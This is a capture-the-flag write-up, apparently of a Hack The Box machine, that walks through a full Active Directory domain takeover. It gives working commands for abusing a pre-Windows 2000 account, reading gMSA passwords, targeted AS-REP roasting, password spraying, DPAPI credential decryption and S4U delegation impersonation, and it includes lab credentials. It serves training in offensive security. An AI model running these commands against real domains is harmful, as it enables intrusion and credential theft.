
Vintage
SUMMARY
This is a Windows Server 2022 machine with NTLM authentication disabled, meaning it only accepts Kerberos authentication. We start enumerating with BloodHound CE with provided user credentials and discover a pre-Windows 2000 machine that, once exploited, allows reading password of a gMSA account. Taking control of the GMSA account we enable another revoked service account that we can abuse with a targeted ASREProasting to obtain its password. Once sprayed, this password leads to another user credential with remote management permission. Finally, we are able to configure Evil-WinRM for Kerberos authentication and collect the user flag.
Regarding escalation, first we disclose DPAPI secrets with Impacket's dpapi.py
. The compromised account has permissions for a delegation attack, so we request an ST ticket impersonating an user member of domain administrators group.
KEYWORDS
NTLMSSP, pre-Windows 2000, gMSA password, bloodyAD, targeted ASREProasting, Kerbrute, DPAPI, Impacket, dpapi.py, delegation attack, S4U2self/S4U2proxy abuse.
REFERENCES
https://metacpan.org/pod/SMB::Auth
https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts
https://x.com/filip_dragovic/status/1524730451826511872
https://github.com/micahvandeusen/gMSADumper
https://www.thehacker.recipes/ad/movement/dacl/readgmsapassword
https://github.com/ropnop/kerbrute
https://gist.github.com/zhsh9/f1ba951ec1eb3de401707bbbec407b98
https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets
https://github.com/gentilkiwi/mimikatz/wiki/module-~-dpapi
https://www.thehacker.recipes/ad/movement/kerberos/delegations/
https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse
ENUMERATION
Port scan.
> for ports in $(nmap $target -p- --min-rate=5000 -Pn --open --reason | grep open | awk -F "/" '{print $1}' | tr '\n' ',' | sed s/,$//); do nmap $target -p$ports -sV -sC -Pn -vv -n && echo "\nList of open ports: $ports";done
Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-28 20:43 GMT
Nmap scan report for 10.10.11.45
Host is up, received user-set (0.041s latency).
Scanned at 2025-01-28 20:43:11 GMT for 96s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-01-28 20:44:12Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49668/tcp open msrpc syn-ack Microsoft Windows RPC
49674/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
52285/tcp open msrpc syn-ack Microsoft Windows RPC
52290/tcp open msrpc syn-ack Microsoft Windows RPC
52311/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-01-28T20:45:03
|_ start_date: N/A
|_clock-skew: 55s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 18401/tcp): CLEAN (Timeout)
| Check 2 (port 53397/tcp): CLEAN (Timeout)
| Check 3 (port 54577/udp): CLEAN (Timeout)
| Check 4 (port 61163/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
Nmap done: 1 IP address (1 host up) scanned in 96.67 seconds
List of open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,52285,52290,52311
Looks like a domain controller.
We have credentials for P.Rosa:Rosaisbest123
, so let's enumerate the SMB service.
> smbclient -L \\\\vintage.htb -U "P.Rosa"
Password for [WORKGROUP\P.Rosa]:
session setup failed: NT_STATUS_NOT_SUPPORTED
Odd, let's try with smbmap
> smbclient -L \\\\vintage.htb -U "vintage/P.Rosa%Rosaisbest123"
session setup failed: NT_STATUS_NOT_SUPPORTED
Weird, check with Wireshark what is going on.

After some investigation on the reported error after the NTLMSSP_NEGOTIATE
message, it seems NTLMSSP (NTLM-based authentication) is disabled in the server. Meaning we will have to use Kerberos authentication throughout the entire process.
Having user credentials next step would be to brute force the RID to get more usernames. However, this does not work since NTLM is disabled in the host, and the crackmapexec
fails also to negotiate NTLMSSP authentication.
> crackmapexec smb vintage.htb -u P.Rosa -p Rosaisbest123 --rid-brute
SMB 10.10.11.45 445 NONE [*] x64 (name:) (domain:) (signing:True) (SMBv1:False)
SMB 10.10.11.45 445 NONE [-] \P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

At this point we could try to use Kerberos authentication with crackmapexec
; however, we will proceed to continue enumerating with ldapsearch
This tool works since it uses simple authentication. You can verify this by dumping the entire directory and analyzing the traffic with Wireshark.
> ldapsearch -x -H ldap://vintage.htb -D "vintage\P.Rosa" -w Rosaisbest123 -b "dc=vintage,dc=htb"

Once we have understood what is happening with the server authentication configuration, let's continue enumeration with ldapsearch
First we take the sAMAccountName
of objects with objectclass=users
. In other words, we enumerate the usernames.
> ldapsearch -x -H ldap://vintage.htb -D "vintage\P.Rosa" -w Rosaisbest123 -b "dc=vintage,dc=htb" "(objectclass=user)" sAMAccountName
We see several usernames along with domain controller DC01
, a managed service account gMSA01$
and a computer account fs01$

We take the opportunity to dump a list of users using this query.
> ldapsearch -x -H ldap://vintage.htb -D "vintage\P.Rosa" -w Rosaisbest123 -b "dc=vintage,dc=htb" "(objectclass=user)" sAMAccountName | grep sAMAccountName | awk -F ":" '{print $2}' | sed 's/ //'
sAMAccountName
Administrator
Guest
DC01$
krbtgt
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm
And with this user list we can verify if there are users with Kerberos pre-authentication disabled (ASREProasting).
> python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py vintage.htb/ -usersfile ./userlist -dc-ip 10.10.11.45

There are no accounts with pre-authentication disabled; on the other hand, we discover three revoked accounts, one of them is the service account svc_sql
Next step would be to collect data and continue enumerating with BloodHound CE. There is no problem with that, since the bloodhound-ce-python
tool supports Kerberos authentication.
> python3 /home/kali/.local/bin/bloodhound-ce-python -u P.Rosa -p 'Rosaisbest123' -c All -d vintage.htb -ns 10.10.11.45
In fact, in the output we see the first action is to request a TGT ticket.

Ingest the data in BloodHound CE and start enumerating. First thing we notice is fs01$
is a rather old (vintage) pre-Windows 2000 machine.

Also, it can read group managed service account passwords.

USER
Since fs01$
can read gMSA01$
password, our first step would be to find a way to compromise old pre-Windows 2000 computers. And it seems there is a there is a high probability that the computer account password is actually the same as the computer name in these machines.
The attack path would be to get a TGT ticket for the pre-Windows 2000 account, using the computer name as password. Then use the tool suggested by BloodHound CE (gMSADumper.py) to dump gMSA01$
password.
Begin requesting a TGT for fs01$
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/fs01$:fs01
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in fs01$.ccache
> export KRB5CCNAME=fs01$.ccache
Now, next step would be to use gMSADumper.py
to dump the password; however, it does not work due to DNS issues.
Luckily, it seems bloodyAD also reads gMSA passwords.
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 get object GMSA01\$ --attr msDS-ManagedPassword

Back to BloodHound CE, mark gmsa01$
as "Owned" and enumerate from there.
We see gmsa01$
has permissions to add itself into serviceManagers group.

And serviceManagers have GenericAll over the three service accounts we discovered before, including the revoked one.

So if we added gmsa01$
into serviceManagers we could reactivate the service account svc_sql
Let's add gmsa01$
to serviceManagers. First step would be to generate a TGT.
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/gmsa01$ -hashes aad3b435b51404eeaad3b435b51404ee:cfa9f6edd15de88ae7a9652114e3f4a7
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in gmsa01$.ccache
export KRB5CCNAME=gmsa01\$.ccache
Now add the account with bloodyAD using its own TGT.
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 add groupMember SERVICEMANAGERS GMSA01\$

Now, if gmsa01$
has inherited group's permissions, it has GenericAll over the svc_sql
account and we can reactivate the account.
If we remember, since svc_sql
was revoked and we couldn't verify if it has Kerberos pre-authentication disabled. Now, after activating it, we can try a targeted ASREProasting attack, which is similar to a targeted kerberoasting attack (as we did in Administrator).
In a nutshell, in a targeted ASREProasting attack we set the attribute DONT_ REQ_PREAUTH, since we have GenericAll over the user account, then dump the hash and try to crack it offline.
First step would be to reactivate the account, using the same gmsa01$
ticket we have in cache (verify if it has not expired, and renew it if that's the case).
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 remove uac SVC_SQL -f ACCOUNTDISABLE

Now we can set the DONT_REQ_PREAUTH attribute so it is asreproastable.
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 add uac SVC_SQL -f DONT_REQ_PREAUTH

Repeat the ASREProasting and dump the hash.
> python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -k vintage.htb/ -usersfile ./userlist -dc-ip 10.10.11.45

Which can be cracked with module 18200.

Now spray the password with a tool that supports Kerberos authentication, for example Kerbrute.
> /opt/kerbrute/kerbrute passwordspray -d vintage.htb --dc 10.10.11.45 ./userlist Zer0the0ne

You can verify in BloodHound CE the compromised account has remote management permissions, therefore we can have an Evil-WinRM session under its context. We just need to find a way to use Evil-WinRM with Kerberos authentication.
Normally, according to documentation, Kerberos authentication is supported with -r
flag, but first you have to configure the KDC realm in the /etc/krb5.conf
file.
I used this tool as support, but needed to make some modifications to the file supplied by the tool. The final configuration file is this.
> cat /etc/krb5.conf
[libdefaults]
default_realm = VINTAGE.HTB
dns_lookup_realm = true
dns_lookup_kdc = true
[realms]
VINTAGE.HTB = {
kdc = dc01.vintage.htb
admin_server = dc01.vintage.htb
default_domain = vintage.htb
}
[domain_realm]
vintage.htb = VINTAGE.HTB
.vintage.htb = VINTAGE.HTB
Also, it may be necessary to add the IP 10.10.11.45 in the /etc/resolv.conf
file (comment the existing lines).
> cat /etc/resolv.conf
nameserver 10.10.11.45
Now you can open an Evil-WinRM shell using Kerberos authentication.
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/c.neri:Zer0the0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.neri.ccache
> export KRB5CCNAME=c.neri.ccache
> evil-winrm -i dc01.vintage.htb -r vintage.htb

And collect the user flag.
SYSTEM
Start from the shell as c.neri
and take the opportunity to enumerate the system.
Get-ComputerInfo
WindowsBuildLabEx : 20348.1.amd64fre.fe_release.210507-1500
WindowsCurrentVersion : 6.3
WindowsEditionId : ServerStandard
WindowsInstallationType : Server
WindowsInstallDateFromRegistry : 5/24/2024 12:00:02 PM
WindowsProductId : 00454-20165-01481-AA334
WindowsProductName : Windows Server 2022 Standard
WindowsRegisteredOrganization :
WindowsRegisteredOwner : Windows User
WindowsSystemRoot : C:\Windows
WindowsVersion : 2009
OSDisplayVersion : 21H2
We have already seen how to harvest DPAPI-protected secrets in Week 7. Office. Basically, DPAPI is a Windows API used by applications that want to protect and store secrets such as passwords, tokens, etc. Encrypted data is stored in data blobs in the user's directory that have been secured by user-specific master keys.
Blobs are usually be found here.
c:\users\<username>\appdata\local\microsoft\credentials\
c:\users\<username>\appdata\roaming\microsoft\credentials\
Master keys are derived from user's password and usually located here:
c:\users\<username>\appdata\roaming\microsoft\protect\<user sid>
c:\users\<username>\appdata\local\microsoft\protect\<user sid>
In this case we find blob files here.
> dir -h c:\users\c.neri\appdata\local\microsoft\credentials
Directory: C:\users\c.neri\appdata\local\microsoft\credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 1:17 PM 11020 DFBE70A7E5CC19A398EBF1B96859CE5D
And here.
> dir -h c:\users\c.neri\appdata\roaming\microsoft\credentials
Directory: C:\users\c.neri\appdata\roaming\microsoft\credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 5:08 PM 430 C4BB96844A5C9DD45D5B6A9859252BA6
And regarding the master keys, they are stored in a folder named after the user's SID.
> dir c:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\
Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 6/7/2024 1:17 PM S-1-5-21-4024337825-2033394866-2055507597-1115
And inside we find the master keys.
> dir -h c:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-111
5
Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 1:17 PM 740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs- 6/7/2024 1:17 PM 740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs- 6/7/2024 1:17 PM 904 BK-VINTAGE
-a-hs- 6/7/2024 1:17 PM 24 Preferred
In Week 7. Officewe decrypted the blobs with mimikatz. In this case, the host is running a defender solution that blocks Mimkatz, so we will use Impacket's dpapi.py
with files transferred to Kali machine.
First thing would be to obtain the key from the master key file with user's password, SID and blob files.
> python3 /usr/share/doc/python3-impacket/examples/dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0The0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
And with the decrypted key, obtain the secret from the blob.
> python3 /usr/share/doc/python3-impacket/examples/dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=admin_acc
Description :
Unknown :
Username : vintage\c.neri_adm
Unknown : Uncr4ck4bl3P4ssW0rd0312
Which results to be credentials for another user c.neri_adm
To summarize this part: someone has protected c.neri_adm
credentials using Windows cryptographic API (DPAPI). The secret is stored a data blob file protected with a master key, that is derived from user c.neri
password and SID. Both blob and master keys files are stored in c.neri
user folder.
Back to BloodHound CE, mark c.neri_adm
as "Owned" and enumerate from there. First thing we notice is the user belongs to delegatedAdmins group.

And if we enumerate the delegatedAdmins group we see a possible path to domains administrators via l.bianchi_adm
account, since l.bianchi_adm
is also a delegated admin, and in turn a domain administrator.

This suggests a delegation abuse attack. Kerberos delegations allow services to access other services on behalf of domain users. And Service for User to Self (S4U2self) allows a service to obtain an ST on behalf of another user to itself.
In this case, if we had a service account belonging to delegatedAdmins group, we could request an ST impersonating l.bianchi_adm
and gain root, since this account is member of domainAdmins.
We have control over c.neri_adm
who is already member of the delegatedAdmins. So one option
would be to convert c.neri_adm
to a service account by adding a SPN attribute to the account.
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.neri_adm.ccache
> export KRB5CCNAME=c.neri_adm.ccache
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb --host dc01.vintage.htb --dc-ip 10.10.11.45 -u c.neri -p Zer0the0ne -k set object c.neri_adm servicePrincipalName -v 'cifs/dc01.htb'
However, this option doesn't work because it seems assigning an SPN to itself violates constraints defined by Active Directory.

Thinking about other ways, we could take the svc_sql
account we reactivated before and add it to the delegatedAdmins group. We can do it since we control c.neri_adm
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.neri_adm.ccache
> export KRB5CCNAME=c.neri_adm.ccache
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb --host dc01.vintage.htb --dc-ip 10.10.11.45 -k add groupMember DELEGATEDADMINS "svc_sql"

And now try to change SPN for svc_sql
> python3 /home/kali/.local/bin/bloodyAD -d vintage.htb --host dc01.vintage.htb --dc-ip 10.10.11.45 -u c.neri -p Zer0the0ne -k set object svc_sql servicePrincipalName -v 'cifs/dc01.htb'

It worked, now we have a service account in the delegatedAdmins group, meaning we can request an ST for CIFS (SMB) impersonating l.bianchi_adm
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_sql.ccache
> export KRB5CCNAME=svc_sql.ccache
> python3 /usr/share/doc/python3-impacket/examples/getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'

And use this ticket to open a CIFS-based (SMB) shell as l.bianchi_adm
> export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
> python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -k -no-pass vintage.htb/l.bianchi_adm@dc01.vintage.htb

You are root.
Last updated